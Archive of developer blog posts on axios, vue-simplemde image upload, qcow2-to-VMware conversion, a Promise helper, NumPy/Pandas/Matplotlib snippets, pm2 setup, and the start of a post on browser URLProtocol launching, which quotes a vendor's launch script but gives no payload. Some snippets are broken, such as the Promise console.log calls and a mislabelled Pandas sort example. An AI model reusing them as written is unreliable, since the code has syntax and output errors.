These methods are assigned directly onto the axios function, then exported. So with axios you can use all, spread, and the rest. With axios.create you cannot use all, spread, Cancel, CancelToken, or isCancel.

Solution {#solution}

If you could change axios source, you would change lib/axios.js like this:

function createInstance(defaultConfig) {
  var context = new Axios(defaultConfig);
  var instance = bind(Axios.prototype.request, context);

  // Copy axios.prototype to instance
  utils.extend(instance, Axios.prototype, context);

  // Copy context to instance
  utils.extend(instance, context);

  utils.extend(instance, {
    Cancel: require('./cancel/Cancel'),
    CancelToken: require('./cancel/CancelToken'),
    isCancel: require('./cancel/isCancel'),
    all: function all(promises) {
      return Promise.all(promises);
    },
    spread: require('./helpers/spread')
  }, context);

  return instance;
}

Of course that’s not going to happen. We need to do it without changing source.

Here’s a blunt solution, which I like:

let axios = require('axios');

const http = axios.create({
  baseURL: 'https://www.google.com.hk'
})

/* eslint-disable no-proto */
http.__proto__ = axios
/* eslint-enable */

module.exports = axios

Pretty simple, one line.¹

The comments are there because eslint does not allow reassigning __proto__. ↩

Some thoughts on implementing image drag-and-drop and paste with vue-simplemde

bh@bugs.cc (Kevin Cui) — Thu, 12 Apr 2018 03:00:12 GMT

Intro

The project uses Vue and needed a markdown editor. I looked on npm, found simplemde was decent. I’m pretty lazy, so I searched npm again, found the vue-simplemde package, and started using it.

But vue-simplemde does not support drag-and-drop image upload or paste upload. You can’t really blame vue-simplemde; it is only a Vue wrapper around simplemde. So it comes down to simplemde not shipping this. For UX this feature is necessary, unless you drop the markdown editor and switch to a rich-text one, in which case a lot of the project would have to change. I looked up articles and some GitHub code. Analysis below.

Drag and drop

The core of the drag-and-drop API is the drop event: it fires when you drag a file from the desktop into the browser and release.

We all know that if you drag an image into the browser, it just opens the image. That is the default: dragging a file into the browser opens the file. We need to block that native behavior.

First, a snippet that suppresses the default:

window.addEventListener("drop", e => {
  e = e || event
  if (e.target.className === 'CodeMirror-scroll') { // if it enters the editor, prevent the default event
    e.preventDefault()
  }
}, false)

CodeMirror-scroll is the class name of the simplemde editor.

Now if we drag a file onto the editor and release, nothing happens. Outside the editor, the default still fires.

Next, get the simplemde instance and attach a drop handler.

// assume the page has three editor windows, so we loop to bind listeners
[ this.$refs.simplemde1,
  this.$refs.simplemde2,
  this.$refs.simplemde3
].map(({simplemde}) => {
  simplemde.codemirror.on('drop', (editor, e) => {
    if (!(e.dataTransfer && e.dataTransfer.files)) {
      // alert that this browser does not support this operation
      return
    }

    let dataList = e.dataTransfer.files
    let imageFiles = [] // array of file instances to upload

    // loop because several image files may be dragged at once
    for (let i = 0; i < dataList.length; i++) {
    // if not an image, warn that only dragging image files is supported
      if (dataList[i].type.indexOf('image') === -1) {
        // the continue below means: if the user drags 2 images and one document at once, the document is not uploaded while the images are uploaded as usual.
        continue
      }
      imageFiles.push(dataList[i])  // push the current file into the array first, then upload them all together after the for loop ends.
    }
    // uploadImagesFile is the method that uploads images
    // simplemde.codemirror is used to tell which editor the current image upload belongs to
    this.uploadImagesFile(simplemde.codemirror, imageFiles)
    // because the code below already exists, the default-event blocking code above is unnecessary
    e.preventDefault()
  })
})

At first glance it looks like a lot of code; that’s the comments. Here it is without comments. Read it and form your own take:

[ this.$refs.simplemde1,
  this.$refs.simplemde2,
  this.$refs.simplemde3
].map(({simplemde}) => {
  simplemde.codemirror.on('drop', (editor, e) => {
    if (!(e.dataTransfer && e.dataTransfer.files)) {
      return
    }
    let dataList = e.dataTransfer.files
    let imageFiles = []
    for (let i = 0; i < dataList.length; i++) {
      if (dataList[i].type.indexOf('image') === -1) {
        continue
      }
      imageFiles.push(dataList[i])
    }
    this.uploadImagesFile(simplemde.codemirror, imageFiles)
    e.preventDefault()
  })
})

Paste

The paste API is the paste event. Unlike drop, paste does not need preventDefault. If you copy an image and press ctrl+v in the browser, nothing happens, so there is no need to block the default.

Code:

simplemde.codemirror.on('paste', (editor, e) => { // handler triggered when pasting an image
  if (!(e.clipboardData && e.clipboardData.items)) {
    // alert that this browser does not support this operation
    return
  }
  try {
    let dataList = e.clipboardData.items
    if (dataList[0].kind === 'file' && dataList[0].getAsFile().type.indexOf('image') !== -1) {
      this.uploadImagesFile(simplemde.codemirror, [dataList[0].getAsFile()])
    }
  } catch (e) {
    // alert that only images can be pasted
  }
})

The try...catch is there because if you paste a file, items is empty, and the if below reads dataList[0].kind, i.e. e.clipboardData.items[0].kind. Accessing kind on a missing item throws. So we need try...catch.

dataList[0].getAsFile().type.indexOf('image') !== -1 checks that what you pasted is actually an image, not something else.

The upload call inside if differs in [dataList[0].getAsFile()]. I wrap it in [] so the shape matches what uploadImagesFile expects. dataList[0].getAsFile() is the file instance.

Upload

Upload is a bit more of a hassle:

uploadImagesFile (simplemde, files) {
  // wrap each file instance with FormData and return an array
  let params = files.map(file => {
    let param = new FormData()
    param.append('file', file, file.name)
    return param
  })

  let makeRequest = params => {
    return this.$http.post('/Api/upload', params)
  }
  let requests = params.map(makeRequest)

  this.$http.spread = callback => {
    return arr => {
      return callback.apply(null, arr)
    }
  }

  // the server returns the format {state: Boolean, data: String}
  // when state is false, data is the returned error message
  // when state is true, data is the uploaded image's url, an absolute path relative to the site, like below:
  // /static/upload/2cfd6a50-3d30-11e8-b351-0d25ce9162a3.png
  Promise.all(requests)
    .then(this.$http.spread((...resps) => {
      for (let i = 0; i < resps.length; i++) {
        let {state, data} = resps[i].data
        if (!state) {
          // alert showing the error message in data
          continue
        }
        let url = `![](${location.origin + data})`  // assemble into markdown syntax
        let content = simplemde.getValue()
        simplemde.setValue(content + url + '\n')  // concatenate with the editor's existing content
      }
    }))
}

I wrapped axios as a Vue plugin, so this.$http is the instance, not axios itself. The axios maintainers’ fix is to import the axios package again. I don’t think that is needed. Internally axios.all is Promise.all. axios.spread is small, so I copied it and assigned it back onto axios.

So the snippet above is

Promise.all(requests)
  .then(this.$http.spread((...resps) => {
    // code
  })

Which is equivalent to

axios.all(requests)
  .then(axios.spread((...resps) => {
    // code
  })

For this, see the official thread: axios-all-is-not-a-function-inside-vue-component. You can also look at the axios source: axios.js#L45-L48

I won’t go further on this. Back to the topic.

When state is true, data is an absolute path on the site, e.g. /static/upload/2cfd6a50-3d30-11e8-b351-0d25ce9162a3.png

We need to concatenate, hence ![](${location.origin + data}). The last two lines get the previous content and append the url.

Wrap-up

Here is the final result:

Full code: Subject.vue#L378-L465

References && thanks

code from skecozo’s laravel-demo

Lemon’s article “Implementing drag-and-drop and paste image upload in simplemde”

f-loat’s vue-simplemde package

wescossick’s simplemde package

Run a qcow2 image in VMware

bh@bugs.cc (Kevin Cui) — Tue, 23 Jan 2018 01:12:31 GMT

Intro

For some reason I needed to run a qcow2 image on my laptop. Standing up an OpenStack platform was out of the question; the hardware could not take it. I wanted to see if I could just run the qcow2 image in VMware. Everything online said to convert it with qemu-img, and then the write-ups just stopped. So I poked at it myself and wrote the process down.

Preparation

First download qemu-img. I was on 64-bit Windows, so I grabbed the win64 build. After it is installed, add the install directory to PATH so the rest is easier.

I will skip VMware itself and the original qcow2 image. You need both.

Steps

First convert the qcow2 image to vmdk with qemu-img:

$ qemu-img convert -f qcow2 CentOS_7.2_x86_64_XD.qcow2 -O vmdk Centos.vmdk

You will get a Centos.vmdk image in the current directory, but you cannot import it: there is no vmx file. Dropping it into VMware throws an error.

So create an empty VM in VMware first. Pick the guest OS from your qcow2; mine was CentOS 7, so I chose CentOS 7 64-bit.

Once that is created, go into that VM’s folder under Virtual Machines, delete the vmdk, and replace it with the file you converted with qemu-img. Start VMware and it should work.

Here is a demo:

YouTube: https://www.youtube.com/watch?v=GE1dkDgRSPA

Add a unified operation extension to Promise

bh@bugs.cc (Kevin Cui) — Sat, 06 Jan 2018 09:34:21 GMT

Intro

ES6 added Promise. A Promise only has two callback methods: then and catch.

Later, Promise also got two extra methods. You have to attach them yourself, of course.

One is done: http://es6.ruanyifeng.com/#docs/promise#done
One is finally: http://es6.ruanyifeng.com/#docs/promise#finally

Follow the links above if you want the background, or look at the official source for how they are implemented: done and finally

The unified method

There is still no unified handler for then and catch.

If the last-step logic in then and catch is basically the same, you end up writing it twice.

You can pull the shared logic into a function, but that still looks a bit awkward. It would be nicer to have one callback that handles both resolve and reject.

We can add a method on Promise.prototype. That method catches resolve and reject, then hands them to a callback. The code is simple:

Promise.prototype.unified = function (callback) {
  this.then(
    data => callback(true, data),
    data => callback(false, data)
  )
}

Usage is straightforward. First, a Promise without the unified handler:

let promise = new Promise(function(resolve, reject) {
  if (false){
    setTimeout(() => resolve('success'), 1000)
  } else {
    setTimeout(() => reject('error'), 1000)
  }
})

promise
  .then((data) => {
    console.log(
      state: true,
      data: data,
      msg: 'operation successful'
    )
  })
  .catch((data) => {
    console.log(
      state: false,
      data: data,
      msg: 'operation failed'
    )
  })

Now the same thing with unified:

let promise = new Promise(function(resolve, reject) {
  if (false){
    setTimeout(() => resolve('success'), 1000)
  } else {
    setTimeout(() => reject('error'), 1000)
  }
})

promise.unified((state, data) => {
  const msg = state ? 'operation successful' : 'operation failed'
  console.log(
    state,
    data,
    msg
  )
})

A lot more convenient, right? That said, this couples the code. Use it carefully or later maintenance will hurt.

Some NumPy, Pandas, and Matplotlib APIs

bh@bugs.cc (Kevin Cui) — Sun, 12 Nov 2017 13:04:48 GMT

NumPy

Import

import numpy as np

API

Create array

np.array([10, 11, 12, 13])
# [10 11 12 13]


np.array([10, 11, 12, 13, 14 ,15]).reshape([2,3])
# [
#   [10 11 12]
#   [13 14 15]
# ]


np.array([[1, 2], [3, 4]])
# [
#   [1 2]
#   [3 4]
# ]


np.arange(4)
# [0 1 2 3]


np.arange(2, 6)
# [2 3 4 5]


np.arange(4).reshape([2,2])
# [
#   [0 1]
#   [2 3]
# ]


np.random.random([2,3])
# [
#   [ 0.00136044  0.46854718  0.59149907]
#   [ 0.75636339  0.18204628  0.53191402]
# ]

Calculation

arr = np.array([10, 11, 12, 13, 14 ,15]).reshape([2,3])
# [
#   [10 11 12]
#   [13 14 15]
# ]


# sum
np.sum(arr, axis=0)
# [23 25 27]
np.sum(arr, axis=1)
# [33 42]


# minimum
np.min(arr, axis=0)
# [10 11 12]
np.min(arr, axis=1)
# [10 13]


# maximum
np.max(arr, axis=0)
# [13 14 15]
np.max(arr, axis=1)
# [12 15]


# index of the max/min value
np.argmin(arr)
# 0 (0 is the index)
np.argmax(arr)
# 5 (5 is the index)


# mean
arr.mean()
# np.mean(arr)
# 12.5
np.average(arr)
# 12.5


# cumulative sum
np.cumsum(arr)
# [10 21 33 46 60 75]


# differences between adjacent elements
np.diff(arr)
# [
#   [1 1]
#   [1 1]
# ]

# replace
np.clip(arr, 11, 14)
# [
#   [11 11 12]
#    [13 14 14]
# ]
# numbers below 11 become 11, numbers above 14 become 14, the rest stay unchanged

Indexing

arr = np.arange(3, 15).reshape([3,4])
# [
#   [ 3  4  5  6]
#   [ 7  8  9 10]
#   [11 12 13 14]
# ]

arr[1, 1]
# arr[1][1]
# 8

arr[:, 1]
# [ 4 8 12]

arr[1, :]
# [ 7 8 9 10]

arr[1, 1:3]
# [8 9]

arr.flatten()
# [ 3  4  5  6  7  8  9 10 11 12 13 14]

for i in arr.flat:
  print(i)
# prints each value. arr.flat is an iterator

Merge

A = np.array([1, 1, 1])
B = np.array([2, 2, 2])

np.vstack((A, B))
# [
#   [1 1 1]
#   [2 2 2]
# ]
np.hstack((A, B))
# [1 1 1 2 2 2]

Split

arr = np.arange(12).reshape([3,4])
# [
#   [ 0  1  2  3]
#   [ 4  5  6  7]
#   [ 8  9 10 11]
# ]

np.split(arr, 2, axis=1)
# [array([
#   [0, 1],
#   [4, 5],
#   [8, 9]
# ]),
# array([
#   [ 2,  3],
#   [ 6,  7],
#   [10, 11]]
# )]

Pandas

Import

import pandas as pd

API

Create a DataFrame

pd.Series([1, 3, 6, np.nan, 44, 1])
# 0     1.0
# 1     3.0
# 2     6.0
# 3     NaN
# 4    44.0
# 5     1.0
# dtype: float64


pd.date_range('20171108', periods=6)
# DatetimeIndex(
#   ['2017-11-08', '2017-11-09', '2017-11-10', '2017-11-11','2017-11-12', '2017-11-13'],
#   dtype='datetime64[ns]',
#   freq='D'
# )


dates = pd.date_range('20171108', periods=6)
pd.DataFrame(np.random.randn(6, 4), index=dates, columns=['a', 'b', 'c', 'd'])
#                    a         b         c         d
# 2017-11-08  0.644350  1.122020 -1.263401  0.163371
# 2017-11-09  0.573329 -0.242054 -0.342220  1.070905
# 2017-11-10  0.714291 -0.721509 -2.298672 -0.513572
# 2017-11-11 -0.614927  2.010482 -1.369179 -0.901276
# 2017-11-12  0.709672 -0.430620  1.070244 -2.308874
# 2017-11-13  1.284080  1.169807  1.668942  0.859300


pd.DataFrame({
  'A': 1.,
  'B': pd.Timestamp('20171108'),
  'C': pd.Series(1, index=list(range(4)), dtype='float32'),
  'D': np.array([3] * 4, dtype='int32'),
  'E': pd.Categorical(['test', 'train', 'test', 'train']),
  'F': 'foo'
})
#      A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 3  1.0 2017-11-08  1.0  3  train  foo

Selection

datas = pd.DataFrame({
  'A': 1.,
  'B': pd.Timestamp('20171108'),
  'C': pd.Series(1, index=list(range(4)), dtype='float32'),
  'D': np.array([3] * 4, dtype='int32'),
  'E': pd.Categorical(['test', 'train', 'test', 'train']),
  'F': 'foo'
})
#     A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 3  1.0 2017-11-08  1.0  3  train  foo

datas.A
# datas['A']
# 0    1.0
# 1    1.0
# 2    1.0
# 3    1.0
# Name: A, dtype: float64

datas[0:3]
#      A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo

datas.loc[0]
# when the index is something like '2017-11-8', use datas.loc['20171108']
# A                      1
# B    2017-11-08 00:00:00
# C                      1
# D                      3
# E                   test
# F                    foo
# Name: 0, dtype: object

datas.loc[:,['A', 'B']]
#      A          B
# 0  1.0 2017-11-08
# 1  1.0 2017-11-08
# 2  1.0 2017-11-08
# 3  1.0 2017-11-08

datas.loc[[1, 3],['A', 'B']]
#      A          B
# 1  1.0 2017-11-08
# 3  1.0 2017-11-08

# icol selects by row number, col selects by index, ix is a mix of the two (either works)
# icol[1]
# ix[1]
# when the index is 2017-11-08, use ix['20171108']

datas[datas.E == 'test']
#               A          B    C  D     E    F
# 2017-11-08  1.0 2017-11-08  1.0  3  test  foo
# 2017-11-10  1.0 2017-11-08  1.0  3  test  foo

datas.index
# Int64Index([0, 1, 2, 3], dtype='int64')

datas.columns
# Index([u'A', u'B', u'C', u'D', u'E', u'F'], dtype='object')

datas.values
# array(
# [
#   [1.0, Timestamp('2017-11-08 00:00:00'), 1.0, 3, 'test', 'foo'],
#   [1.0, Timestamp('2017-11-08 00:00:00'), 1.0, 3, 'train', 'foo'],
#   [1.0, Timestamp('2017-11-08 00:00:00'), 1.0, 3, 'test', 'foo'],
#   [1.0, Timestamp('2017-11-08 00:00:00'), 1.0, 3, 'train', 'foo']
# ],
# dtype=object)

Sorting

datas.sort_index(axis=0, ascending=False)
#      F      E  D    C          B    A
# 0  foo   test  3  1.0 2017-11-08  1.0
# 1  foo  train  3  1.0 2017-11-08  1.0
# 2  foo   test  3  1.0 2017-11-08  1.0
# 3  foo  train  3  1.0 2017-11-08  1.0

datas.sort_index(axis=0, ascending=False)
#      A          B    C  D      E    F
# 3  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 0  1.0 2017-11-08  1.0  3   test  foo

datas.sort_values(by='E')
#      A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 3  1.0 2017-11-08  1.0  3  train  foo

Set values

datas = pd.DataFrame({
  'A': pd.Series([1, 5, 'test', 'foo'], index=list(range(4))),
  'B': pd.Series([np.nan, 1, np.nan, 'test'], index=list(range(4))),
  'C': pd.Series(1, index=list(range(4)), dtype='float32'),
})
#       A     B    C
# 0     1   NaN  1.0
# 1     5     1  1.0
# 2  test   NaN  1.0
# 3   foo  test  1.0

datas.dropna(axis=0, how='any')
# when axis is 1, it checks the vertical direction for NaN values instead
# how = 'any' || 'all', the default is any
# with any, a row is dropped if it contains a single NaN.
# with all, a row is dropped only when every value in it is NaN
#      A     B    C
# 1    5     1  1.0
# 3  foo  test  1.0

datas.fillna(value=0)
#       A     B    C
# 0     1     0  1.0
# 1     5     1  1.0
# 2  test     0  1.0
# 3   foo  test  1.0

datas.isnull()
#        A      B      C
# 0  False   True  False
# 1  False  False  False
# 2  False   True  False
# 3  False  False  False

# when the data is very large, or you only want to know whether any value is NaN
# np.any(datas.isnull()) == True
#   returns True when any value is NaN

Import and export

pd.read_csv('***.csv',delimiter=',',encoding='utf-8',names=['test1','test2','test3'])
# arg 1: the target file to read
# arg 2: the delimiter of the csv file
# arg 3: the encoding
# arg 4: the column names

#           test1     test2          test3
# 0    2017-11-18       ABC        51315.0
# 1    2017-11-19       DEF         5659.0
# 2    2017-11-20       GHI         1599.0
# 3    2017-11-21       JKL         2224.0

datas.to_csv('**.csv')

Merge

concat

datas1 = pd.DataFrame(np.ones((3, 4)) * 0, columns=['a', 'b', 'c', 'd'])
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0

datas2 = pd.DataFrame(np.ones((3, 4)) * 1, columns=['a', 'b', 'c', 'd'])
#      a    b    c    d
# 0  1.0  1.0  1.0  1.0
# 1  1.0  1.0  1.0  1.0
# 2  1.0  1.0  1.0  1.0

datas3 = pd.DataFrame(np.ones((3, 4)) * 2, columns=['a', 'b', 'c', 'd'])
#      a    b    c    d
# 0  2.0  2.0  2.0  2.0
# 1  2.0  2.0  2.0  2.0
# 2  2.0  2.0  2.0  2.0

pd.concat([datas1, datas2, datas3], axis=0, ignore_index=True)
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0
# 3  1.0  1.0  1.0  1.0
# 4  1.0  1.0  1.0  1.0
# 5  1.0  1.0  1.0  1.0
# 6  2.0  2.0  2.0  2.0
# 7  2.0  2.0  2.0  2.0
# 8  2.0  2.0  2.0  2.0

pd.concat([datas1, datas2, datas3], axis=1)
#      a    b    c    d    a    b    c    d    a    b    c    d
# 0  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0  2.0  2.0  2.0  2.0
# 1  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0  2.0  2.0  2.0  2.0
# 2  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0  2.0  2.0  2.0  2.0

concat parameters

In concat, the default value of join is outer.

datas1 = pd.DataFrame(np.ones((3, 4)) * 0, columns=['a', 'b', 'c', 'd'], index=[1, 2, 3])
#      a    b    c    d
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0
# 3  0.0  0.0  0.0  0.0

datas2 = pd.DataFrame(np.ones((3, 4)) * 1, columns=['b', 'c', 'd', 'e'], index=[2, 3, 4])
#      b    c    d    e
# 2  1.0  1.0  1.0  1.0
# 3  1.0  1.0  1.0  1.0
# 4  1.0  1.0  1.0  1.0

pd.concat([datas1, datas2], join='outer')
#      a    b    c    d    e
# 1  0.0  0.0  0.0  0.0  NaN
# 2  0.0  0.0  0.0  0.0  NaN
# 3  0.0  0.0  0.0  0.0  NaN
# 2  NaN  1.0  1.0  1.0  1.0
# 3  NaN  1.0  1.0  1.0  1.0
# 4  NaN  1.0  1.0  1.0  1.0

pd.concat([datas1, datas2], join='inner')
#      b    c    d
# 1  0.0  0.0  0.0
# 2  0.0  0.0  0.0
# 3  0.0  0.0  0.0
# 2  1.0  1.0  1.0
# 3  1.0  1.0  1.0
# 4  1.0  1.0  1.0

pd.concat([datas1, datas2], axis=1, join_axes=[datas2.index])
#      a    b    c    d    b    c    d    e
# 2  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 3  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 4  NaN  NaN  NaN  NaN  1.0  1.0  1.0  1.0
# without join_axes:
#      a    b    c    d    b    c    d    e
# 1  0.0  0.0  0.0  0.0  NaN  NaN  NaN  NaN
# 2  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 3  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 4  NaN  NaN  NaN  NaN  1.0  1.0  1.0  1.0

append

datas1 = pd.DataFrame(np.ones((3, 4)) * 0, columns=['a', 'b', 'c', 'd'])
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0

datas2 = pd.Series([1, 2, 3, 4], index=['a', 'b', 'c', 'd'])
# a    1
# b    2
# c    3
# d    4
# dtype: int64

datas1.append(datas2, ignore_index=True)
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0
# 3  1.0  2.0  3.0  4.0

merge

left = pd.DataFrame({
  'key': ['k0', 'k1', 'k2', 'k3'],
  'A': ['A0', 'A1', 'A2', 'A3'],
  'B': ['B0', 'B1', 'B2', 'B3']
})
#     A   B key
# 0  A0  B0  k0
# 1  A1  B1  k1
# 2  A2  B2  k2
# 3  A3  B3  k3

right = pd.DataFrame({
  'key': ['k0', 'k1', 'k2', 'k3'],
  'C': ['C0', 'C1', 'C2', 'C3'],
  'D': ['D0', 'D1', 'D2', 'D3']
})
#     C   D key
# 0  C0  D0  k0
# 1  C1  D1  k1
# 2  C2  D2  k2
# 3  C3  D3  k3

pd.merge(left, right, on='key')
#     A   B key   C   D
# 0  A0  B0  k0  C0  D0
# 1  A1  B1  k1  C1  D1
# 2  A2  B2  k2  C2  D2
# 3  A3  B3  k3  C3  D3

left = pd.DataFrame({
  'key1': ['k0', 'k0', 'k1', 'k2'],
  'key2': ['k0', 'k1', 'k0', 'k1'],
  'A': ['A0', 'A1', 'A2', 'A3'],
  'B': ['B0', 'B1', 'B2', 'B3']
})
#     A   B key1 key2
# 0  A0  B0   k0   k0
# 1  A1  B1   k0   k1
# 2  A2  B2   k1   k0
# 3  A3  B3   k2   k1

right = pd.DataFrame({
  'key1': ['k0', 'k1', 'k1', 'k2'],
  'key2': ['k0', 'k0', 'k0', 'k0'],
  'C': ['C0', 'C1', 'C2', 'C3'],
  'D': ['D0', 'D1', 'D2', 'D3']
})
#     C   D key1 key2
# 0  C0  D0   k0   k0
# 1  C1  D1   k1   k0
# 2  C2  D2   k1   k0
# 3  C3  D3   k2   k0

pd.merge(left, right, on=['key1', 'key2'], how='inner')
# how defaults to inner
#     A   B key1 key2   C   D
# 0  A0  B0   k0   k0  C0  D0
# 1  A2  B2   k1   k0  C1  D1
# 2  A2  B2   k1   k0  C2  D2

pd.merge(left, right, on=['key1', 'key2'], how='outer')
#      A    B key1 key2    C    D
# 0   A0   B0   k0   k0   C0   D0
# 1   A1   B1   k0   k1  NaN  NaN
# 2   A2   B2   k1   k0   C1   D1
# 3   A2   B2   k1   k0   C2   D2
# 4   A3   B3   k2   k1  NaN  NaN
# 5  NaN  NaN   k2   k0   C3   D3

pd.merge(left, right, on=['key1', 'key2']. how='right')
#      A    B key1 key2   C   D
# 0   A0   B0   k0   k0  C0  D0
# 1   A2   B2   k1   k0  C1  D1
# 2   A2   B2   k1   k0  C2  D2
# 3  NaN  NaN   k2   k0  C3  D3

pd.merge(left, right, on=['key1', 'key2'], how='left')
#     A   B key1 key2    C    D
# 0  A0  B0   k0   k0   C0   D0
# 1  A1  B1   k0   k1  NaN  NaN
# 2  A2  B2   k1   k0   C1   D1
# 3  A2  B2   k1   k0   C2   D2
# 4  A3  B3   k2   k1  NaN  NaN

Matplotlib

Import

import matplotlib.pyplot as plt

API

plot

data = pd.Series(np.random.randn(1000)) # 1000 random numbers
data = data.cumsum() # cumulative sum
# since a pandas object is data already, it can be plotted directly,
# two other forms: plt.plot(x=, y=) or plt.plot([xxx, xxx], [yyy, yyy])
data.plot()
plt.rcParams['font.sans-serif']=['SimHei'] # make Chinese labels render correctly
plt.rcParams['axes.unicode_minus']=False # make minus signs render correctly
# linewidth: the width of the line
# linestyle: the line style (- solid, -- dashed, -. dash-dot, : dotted, None draws nothing)
plt.plot([1,50,100],[1,4,9], linewidth=2.5, linestyle='--', label='lalala')
plt.legend(loc='upper left') # without this line, the label above will not show
plt.plot([1,100,200],[1,7,9]) # a third data series
plt.title('Demo') # title
plt.xlabel('xxx') # x-axis name
plt.ylabel('yyy') # y-axis name
plt.text(60, 10, u'annotation') # annotation text
plt.show()  # display

#  random numbers with 1000 rows and 4 columns, rows numbered 0 to 999, columns A B C D
data = pd.DataFrame(np.random.randn(1000, 4),
          index=np.arange(1000),
          columns=list('ABCD'))
data = data.cumsum()  # cumulative sum
data.plot()
plt.show()

Other charts

Bar chart

plt.bar(left, height, width=0.8)

Scatter plot

plt.scatter(x,y)

pm2 configuration for Vue+Koa

bh@bugs.cc (Kevin Cui) — Tue, 07 Nov 2017 13:37:00 GMT

Background

The stack I am using is: Vue on the frontend, Koa on the backend, Mongodb as the database.

Every time I start the services, I have to run npm start and node ./server/app.js, and keep both windows open. That is a hassle.

And because I am using Koa, I did not use 狼叔’s Koa scaffold. I rolled a small MVC myself based on Liao Xuefeng’s Koa framework. So there is no hot reload.

To cut these unnecessary steps and add hot reload, I started thinking about how to improve this. I went with pm2.

Configuring pm2

Install pm2 first: npm i pm2, npm i pm2 -g Because this is an open source project, so the code can run on other people’s machines, pm2 needs to live in the project. Then install it globally, which is convenient for later debugging.

Create a logs directory in the project root.

In the current directory, create a pm2.json file, with the following content:

{
  "apps": [{
    "name": "koler-server",
    "script": "./app.js",
    "error_file"      : "../logs/server-err.log",
    "out_file"        : "../logs/server-out.log",
    "merge_logs"      : true,
    "log_date_format" : "YYYY-MM-DD HH:mm Z",
    "cwd": "./server",
    "watch": [
      "app.js",
      "controllers"
    ],
    "watch_options": {
      "followSymlinks": false
    }
  },{
    "name": "koler-app",
    "script": "./build/dev-server.js",
    "error_file"      : "./logs/app-err.log",
    "out_file"        : "./logs/app-out.log",
    "merge_logs"      : true,
    "log_date_format" : "YYYY-MM-DD HH:mm Z",
    "cwd": "./",
    "ignore_watch" : [
      "node_modules"
    ],
    "watch_options": {
      "followSymlinks": false
    }
  }]
}

This starts two projects at once. koler-server is Koa, koler-app is the Vue frontend.

I tried lifting

"error_file"      : "./logs/app-err.log",
"out_file"        : "./logs/app-out.log",
"merge_logs"      : true,
"log_date_format" : "YYYY-MM-DD HH:mm Z",

to the root of the JSON, but it did nothing. Looks like pm2 does not support that. So I had to write it in each app.

Configuring package.json

Replace dev under the previous script field, then add a stop field. After the change:

"scripts": {
  "dev": "pm2 start pm2.json && pm2 logs",
  "start": "npm run dev",
  "stop": "pm2 stop koler-app koler-server && pm2 delete koler-app koler-server",
  "build": "node build/build.js",
  "lint": "eslint --ext .js,.vue src"
},

pm2 start pm2.json && pm2 logs starts from the pm2.json config. The pm2 logs after it is there to tail Vue and Koa logs at the same time.

After you run npm start, the terminal looks like this:

You can ignore that error. I forgot to clean up the previous logs.

After it starts, a cmd window will appear on your screen. Don’t close it. It will close itself after a while. Every time a code change hits the watch rules in the pm2 config, a cmd window pops up automatically, and that one also closes after a while.

Because other people using the project may already be running multiple pm2 instances, I put the names in the stop field, to avoid pausing and deleting every instance.

Testing

Now when we change the code, there is no problem. pm2 hot-reloads for us. Let’s try breaking a piece of Vue code on purpose:

You can see it is OK.

One note on why the second instance koler-app in pm2.json has no watch: Vue in development already uses webpack’s watch, so there is no need to add it.

Some ideas based on URLProtocol attacks

bh@bugs.cc (Kevin Cui) — Sun, 26 Mar 2017 08:33:52 GMT

Browsers launch local apps through URLProtocol.¹

Under the [HKEY_CLASSES_ROOT] registry key, you can see many URLProtocol entries.

For example, AliWangWang:

On the web, AliWangWang’s Contact me button goes to https://amos.alicdn.com/getcid.aw?v=3&groupid=0&s=1&charset=utf-8&uid=淘宝店铺名&site=cntaobao&groupid=0&s=1&fromid=cntaobao淘宝用户名, and that page runs this JavaScript:

!function() {
    var a = window,
    b = function() {
        try {
            window.open("", "_top"),
            a.opener = null,
            a.close()
        } catch(b) {}
    },
    c = function() {
        a.location.href = "aliim:sendmsg?touid=" + a.site + a.touid + "&site=" + a.site + "&status=1",
        setTimeout(function() {
            b()
        },
        6e3)
    };
    a.isInstalled ? a.isInstalled(function(b) {
        if (b) c();
        else {
            var d = confirm("\u68c0\u6d4b\u5230\u4f60\u672a\u5b89\u88c5\u963f\u91cc\u65fa\u65fa\u5ba2\u6237\u7aef,\u662f\u5426\u8981\u8df3\u8f6c\u5230\u5b98\u7f51\u4e0b\u8f7d?");
            d === !0 && (a.location.href = "https://wangwang.taobao.com")
        }
    }) : c()
} ();

The core line is a.location.href = "aliim:sendmsg?touid=" + a.site + a.touid + "&site=" + a.site + "&status=1". The aliim in that line is AliWangWang’s key name under [HKEY_CLASSES_ROOT].

